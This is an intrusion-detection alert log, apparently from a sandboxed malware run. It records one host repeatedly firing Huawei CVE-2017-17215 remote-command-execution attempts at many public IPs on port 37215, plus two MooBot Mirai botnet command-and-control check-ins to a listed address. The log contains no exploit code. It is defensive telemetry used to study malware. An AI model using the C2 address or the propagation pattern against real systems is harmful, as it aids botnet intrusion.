2024-08-01T15:36:06.687529+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36186	37215	192.168.2.14	32.158.97.246
2024-08-01T15:36:22.457812+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36188	37215	192.168.2.14	157.5.84.111
2024-08-01T15:36:24.468479+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50594	37215	192.168.2.14	157.120.19.107
2024-08-01T15:36:53.698572+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53732	37215	192.168.2.14	41.122.206.183
2024-08-01T15:36:49.568597+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56678	37215	192.168.2.14	41.188.198.128
2024-08-01T15:35:20.205700+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34030	37215	192.168.2.14	197.74.128.205
2024-08-01T15:36:18.261098+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56436	37215	192.168.2.14	41.132.40.129
2024-08-01T15:35:21.857706+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46960	37215	192.168.2.14	41.19.193.117
2024-08-01T15:36:32.872626+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60488	37215	192.168.2.14	41.119.171.97
2024-08-01T15:35:37.209888+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56180	37215	192.168.2.14	157.132.145.241
2024-08-01T15:35:58.786177+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35090	37215	192.168.2.14	157.14.0.109
2024-08-01T15:34:57.060329+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43680	37215	192.168.2.14	222.142.83.55
2024-08-01T15:35:20.203267+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35848	37215	192.168.2.14	117.187.225.22
2024-08-01T15:35:20.216374+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50436	37215	192.168.2.14	197.121.194.218
2024-08-01T15:35:25.978854+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56050	37215	192.168.2.14	222.229.210.86
2024-08-01T15:36:06.736371+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36514	37215	192.168.2.14	82.13.12.239
2024-08-01T15:35:21.928396+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60002	37215	192.168.2.14	197.31.132.85
2024-08-01T15:35:21.895051+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33682	37215	192.168.2.14	188.108.83.39
2024-08-01T15:35:40.228768+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58990	37215	192.168.2.14	157.203.138.75
2024-08-01T15:36:14.855881+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56504	37215	192.168.2.14	121.164.156.2
2024-08-01T15:36:16.184128+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60210	37215	192.168.2.14	197.142.125.69
2024-08-01T15:35:20.211348+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52746	37215	192.168.2.14	169.58.213.52
2024-08-01T15:36:32.218173+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	36674	56999	192.168.2.14	103.238.235.163
2024-08-01T15:36:24.792257+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37946	37215	192.168.2.14	46.44.241.217
2024-08-01T15:36:03.054703+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42954	37215	192.168.2.14	196.93.227.43
2024-08-01T15:35:20.215018+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58240	37215	192.168.2.14	82.116.139.160
2024-08-01T15:35:23.936503+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42790	37215	192.168.2.14	157.189.50.111
2024-08-01T15:36:24.438976+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60776	37215	192.168.2.14	41.118.102.241
2024-08-01T15:35:17.244587+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49558	37215	192.168.2.14	157.50.154.212
2024-08-01T15:35:20.575004+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60868	37215	192.168.2.14	100.252.103.55
2024-08-01T15:35:48.348098+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41128	37215	192.168.2.14	87.10.38.67
2024-08-01T15:35:17.159117+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54052	37215	192.168.2.14	148.35.167.224
2024-08-01T15:35:50.651604+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55404	37215	192.168.2.14	197.192.250.58
2024-08-01T15:36:11.966703+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57710	37215	192.168.2.14	157.251.50.112
2024-08-01T15:35:37.233575+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40360	37215	192.168.2.14	157.181.192.16
2024-08-01T15:36:34.856172+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58682	37215	192.168.2.14	157.253.51.95
2024-08-01T15:35:20.213388+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42612	37215	192.168.2.14	197.57.88.125
2024-08-01T15:36:14.837732+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42142	37215	192.168.2.14	183.120.152.239
2024-08-01T15:36:22.338733+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60700	37215	192.168.2.14	157.195.71.24
2024-08-01T15:35:21.827519+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46784	37215	192.168.2.14	197.82.241.173
2024-08-01T15:35:20.545763+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37500	37215	192.168.2.14	157.168.134.231
2024-08-01T15:35:17.040005+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58596	37215	192.168.2.14	34.114.172.79
2024-08-01T15:35:20.206941+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50822	37215	192.168.2.14	149.176.208.237
2024-08-01T15:36:39.297061+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54458	37215	192.168.2.14	157.48.88.81
2024-08-01T15:36:14.819120+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49142	37215	192.168.2.14	197.74.144.4
2024-08-01T15:35:28.720685+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41060	37215	192.168.2.14	197.61.190.136
2024-08-01T15:35:16.903811+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40426	37215	192.168.2.14	157.62.255.255
2024-08-01T15:35:26.064752+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36584	37215	192.168.2.14	197.129.222.7
2024-08-01T15:35:16.759849+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41596	37215	192.168.2.14	41.88.176.209
2024-08-01T15:35:20.545419+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41578	37215	192.168.2.14	157.107.85.170
2024-08-01T15:34:54.844175+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41452	37215	192.168.2.14	220.231.91.209
2024-08-01T15:36:09.889008+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56404	37215	192.168.2.14	157.184.121.122
2024-08-01T15:35:21.883443+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35164	37215	192.168.2.14	41.43.100.163
2024-08-01T15:35:21.839471+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59212	37215	192.168.2.14	41.47.38.45
2024-08-01T15:35:21.920843+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53804	37215	192.168.2.14	197.19.184.207
2024-08-01T15:36:06.677748+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33046	37215	192.168.2.14	197.155.175.55
2024-08-01T15:35:20.207031+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51818	37215	192.168.2.14	157.214.156.161
2024-08-01T15:35:20.206089+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33234	37215	192.168.2.14	160.149.238.205
2024-08-01T15:35:37.222262+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45502	37215	192.168.2.14	157.61.104.38
2024-08-01T15:36:09.901730+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41046	37215	192.168.2.14	66.181.120.244
2024-08-01T15:35:21.908846+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40986	37215	192.168.2.14	217.249.197.83
2024-08-01T15:35:20.545718+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55618	37215	192.168.2.14	118.147.89.129
2024-08-01T15:35:20.206515+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57054	37215	192.168.2.14	197.173.88.168
2024-08-01T15:36:51.565125+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42978	37215	192.168.2.14	197.46.126.180
2024-08-01T15:35:17.267221+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49552	37215	192.168.2.14	41.177.172.89
2024-08-01T15:35:40.242678+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60630	37215	192.168.2.14	197.208.134.203
2024-08-01T15:35:20.204426+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32902	37215	192.168.2.14	150.202.107.179
2024-08-01T15:36:06.686542+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50000	37215	192.168.2.14	54.12.112.146
2024-08-01T15:35:20.205065+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39210	37215	192.168.2.14	41.243.3.39
2024-08-01T15:36:09.884265+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33340	37215	192.168.2.14	41.39.66.254
2024-08-01T15:36:16.182117+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59144	37215	192.168.2.14	41.193.214.214
2024-08-01T15:35:20.575008+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34118	37215	192.168.2.14	157.37.239.222
2024-08-01T15:35:16.446858+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33660	37215	192.168.2.14	197.91.38.97
2024-08-01T15:35:40.225303+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32950	37215	192.168.2.14	41.218.191.39
2024-08-01T15:35:20.214629+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42762	37215	192.168.2.14	197.83.25.177
2024-08-01T15:35:20.203742+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53946	37215	192.168.2.14	41.246.219.118
2024-08-01T15:35:17.317726+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51960	37215	192.168.2.14	208.102.137.140
2024-08-01T15:35:20.205749+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57102	37215	192.168.2.14	83.124.132.190
2024-08-01T15:36:34.854468+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58232	37215	192.168.2.14	157.68.206.241
2024-08-01T15:35:20.205962+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41812	37215	192.168.2.14	208.67.56.114
2024-08-01T15:35:50.269791+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55402	37215	192.168.2.14	197.0.127.255
2024-08-01T15:36:26.556328+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37322	37215	192.168.2.14	92.25.88.200
2024-08-01T15:35:20.203017+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42674	37215	192.168.2.14	197.139.84.49
2024-08-01T15:35:20.205835+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60292	37215	192.168.2.14	41.12.104.26
2024-08-01T15:35:20.202681+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35032	37215	192.168.2.14	41.53.153.51
2024-08-01T15:35:20.545587+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58542	37215	192.168.2.14	41.89.31.71
2024-08-01T15:35:21.850059+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48870	37215	192.168.2.14	157.12.7.143
2024-08-01T15:36:24.438235+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44566	37215	192.168.2.14	157.247.14.236
2024-08-01T15:36:20.303136+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41284	37215	192.168.2.14	197.220.56.207
2024-08-01T15:35:20.204557+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56238	37215	192.168.2.14	157.23.152.245
2024-08-01T15:36:56.030350+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45722	37215	192.168.2.14	197.79.237.7
2024-08-01T15:35:21.905831+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57362	37215	192.168.2.14	41.151.44.236
2024-08-01T15:34:58.055054+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37124	37215	192.168.2.14	8.77.197.97
2024-08-01T15:35:45.477704+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35752	37215	192.168.2.14	157.220.124.215
2024-08-01T15:35:40.231205+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47224	37215	192.168.2.14	135.2.114.160
2024-08-01T15:36:34.853927+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60144	37215	192.168.2.14	157.50.106.1
2024-08-01T15:36:14.832993+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38282	37215	192.168.2.14	41.26.10.192
2024-08-01T15:36:22.389576+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50022	37215	192.168.2.14	157.127.46.94
2024-08-01T15:35:20.209161+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57850	37215	192.168.2.14	172.128.243.228
2024-08-01T15:35:21.879523+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36768	37215	192.168.2.14	197.80.49.11
2024-08-01T15:36:09.886976+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36756	37215	192.168.2.14	195.81.117.200
2024-08-01T15:36:06.758895+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59380	37215	192.168.2.14	41.188.111.116
2024-08-01T15:36:39.041688+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39742	37215	192.168.2.14	120.152.57.227
2024-08-01T15:35:21.864043+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60736	37215	192.168.2.14	197.23.60.168
2024-08-01T15:35:28.716736+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48962	37215	192.168.2.14	54.184.23.126
2024-08-01T15:35:20.545845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52530	37215	192.168.2.14	114.84.21.38
2024-08-01T15:35:20.216153+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38050	37215	192.168.2.14	197.191.33.129
2024-08-01T15:36:15.138378+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33824	37215	192.168.2.14	157.71.134.31
2024-08-01T15:35:16.731563+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34842	37215	192.168.2.14	197.169.248.145
2024-08-01T15:35:20.207625+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45212	37215	192.168.2.14	121.244.99.184
2024-08-01T15:35:20.215047+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43122	37215	192.168.2.14	41.91.123.73
2024-08-01T15:37:00.228600+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44910	37215	192.168.2.14	100.221.79.154
2024-08-01T15:35:35.119574+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49310	37215	192.168.2.14	197.30.137.230
2024-08-01T15:35:50.268943+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52500	37215	192.168.2.14	157.57.101.219
2024-08-01T15:35:20.209755+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38286	37215	192.168.2.14	41.225.137.7
2024-08-01T15:36:46.291773+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37184	37215	192.168.2.14	157.10.1.56
2024-08-01T15:35:40.238500+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57400	37215	192.168.2.14	41.104.103.114
2024-08-01T15:35:43.211665+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57538	37215	192.168.2.14	157.129.112.145
2024-08-01T15:35:50.296787+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52792	37215	192.168.2.14	197.205.173.160
2024-08-01T15:36:09.901853+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40764	37215	192.168.2.14	157.216.22.19
2024-08-01T15:36:22.352987+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51044	37215	192.168.2.14	41.105.246.225
2024-08-01T15:35:20.209841+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36160	37215	192.168.2.14	157.74.188.160
2024-08-01T15:36:44.196763+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39398	37215	192.168.2.14	48.79.187.128
2024-08-01T15:35:17.179746+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50886	37215	192.168.2.14	84.84.190.161
2024-08-01T15:35:59.276033+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	53856	56999	192.168.2.14	103.238.235.163
2024-08-01T15:36:30.764578+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38278	37215	192.168.2.14	41.64.217.195
2024-08-01T15:35:16.795564+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48030	37215	192.168.2.14	157.133.254.58
2024-08-01T15:36:26.560999+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33514	37215	192.168.2.14	157.135.178.231
2024-08-01T15:36:09.911958+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48502	37215	192.168.2.14	158.166.134.241
2024-08-01T15:35:50.297463+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59124	37215	192.168.2.14	197.199.120.212
2024-08-01T15:35:00.155908+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46644	37215	192.168.2.14	200.108.203.195
2024-08-01T15:35:20.214965+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53014	37215	192.168.2.14	197.88.245.59
2024-08-01T15:36:36.978277+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39102	37215	192.168.2.14	41.129.19.84
2024-08-01T15:35:21.886556+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47982	37215	192.168.2.14	219.155.0.124
2024-08-01T15:36:34.854910+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39740	37215	192.168.2.14	157.255.43.93
2024-08-01T15:36:26.762812+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45192	37215	192.168.2.14	157.190.125.198
2024-08-01T15:35:40.233634+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51742	37215	192.168.2.14	43.46.29.114
2024-08-01T15:35:17.244693+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51066	37215	192.168.2.14	157.181.139.104
2024-08-01T15:35:20.205200+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44322	37215	192.168.2.14	197.17.154.0
2024-08-01T15:35:21.934831+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35712	37215	192.168.2.14	157.254.97.58
2024-08-01T15:35:50.279093+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38794	37215	192.168.2.14	41.111.23.185
2024-08-01T15:36:48.416760+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53222	37215	192.168.2.14	41.215.10.3
2024-08-01T15:35:50.279007+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34138	37215	192.168.2.14	41.66.97.25
2024-08-01T15:36:11.953801+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33866	37215	192.168.2.14	157.28.96.168
2024-08-01T15:36:39.033717+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49092	37215	192.168.2.14	157.39.87.42
2024-08-01T15:36:56.009717+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46786	37215	192.168.2.14	157.120.41.84
2024-08-01T15:36:18.451938+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59556	37215	192.168.2.14	41.215.215.231
2024-08-01T15:35:17.267250+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33832	37215	192.168.2.14	197.75.226.1
2024-08-01T15:35:32.992496+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33174	37215	192.168.2.14	197.1.123.38
2024-08-01T15:35:20.202898+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35616	37215	192.168.2.14	197.249.88.214
2024-08-01T15:35:21.889026+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42080	37215	192.168.2.14	126.193.242.217
2024-08-01T15:35:56.436065+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44522	37215	192.168.2.14	43.56.54.54
2024-08-01T15:35:58.785931+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56180	37215	192.168.2.14	41.231.61.123
2024-08-01T15:35:20.202644+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55958	37215	192.168.2.14	41.146.96.4
2024-08-01T15:35:40.221916+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45538	37215	192.168.2.14	197.198.61.122
2024-08-01T15:36:34.856139+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51500	37215	192.168.2.14	41.3.220.50
2024-08-01T15:34:58.165188+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38350	37215	192.168.2.14	157.72.40.80
2024-08-01T15:36:54.416268+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54640	37215	192.168.2.14	111.42.149.171
2024-08-01T15:36:36.966243+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51346	37215	192.168.2.14	157.214.94.54
2024-08-01T15:35:35.120561+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33674	37215	192.168.2.14	157.221.89.211
2024-08-01T15:36:26.557639+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50472	37215	192.168.2.14	157.100.30.254
2024-08-01T15:36:39.033836+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38248	37215	192.168.2.14	197.132.127.149
2024-08-01T15:35:16.400207+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44668	37215	192.168.2.14	182.53.203.199
2024-08-01T15:35:20.204135+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42784	37215	192.168.2.14	122.184.139.106
2024-08-01T15:35:20.214699+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43700	37215	192.168.2.14	157.98.134.211
2024-08-01T15:35:21.853721+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47408	37215	192.168.2.14	197.206.69.135
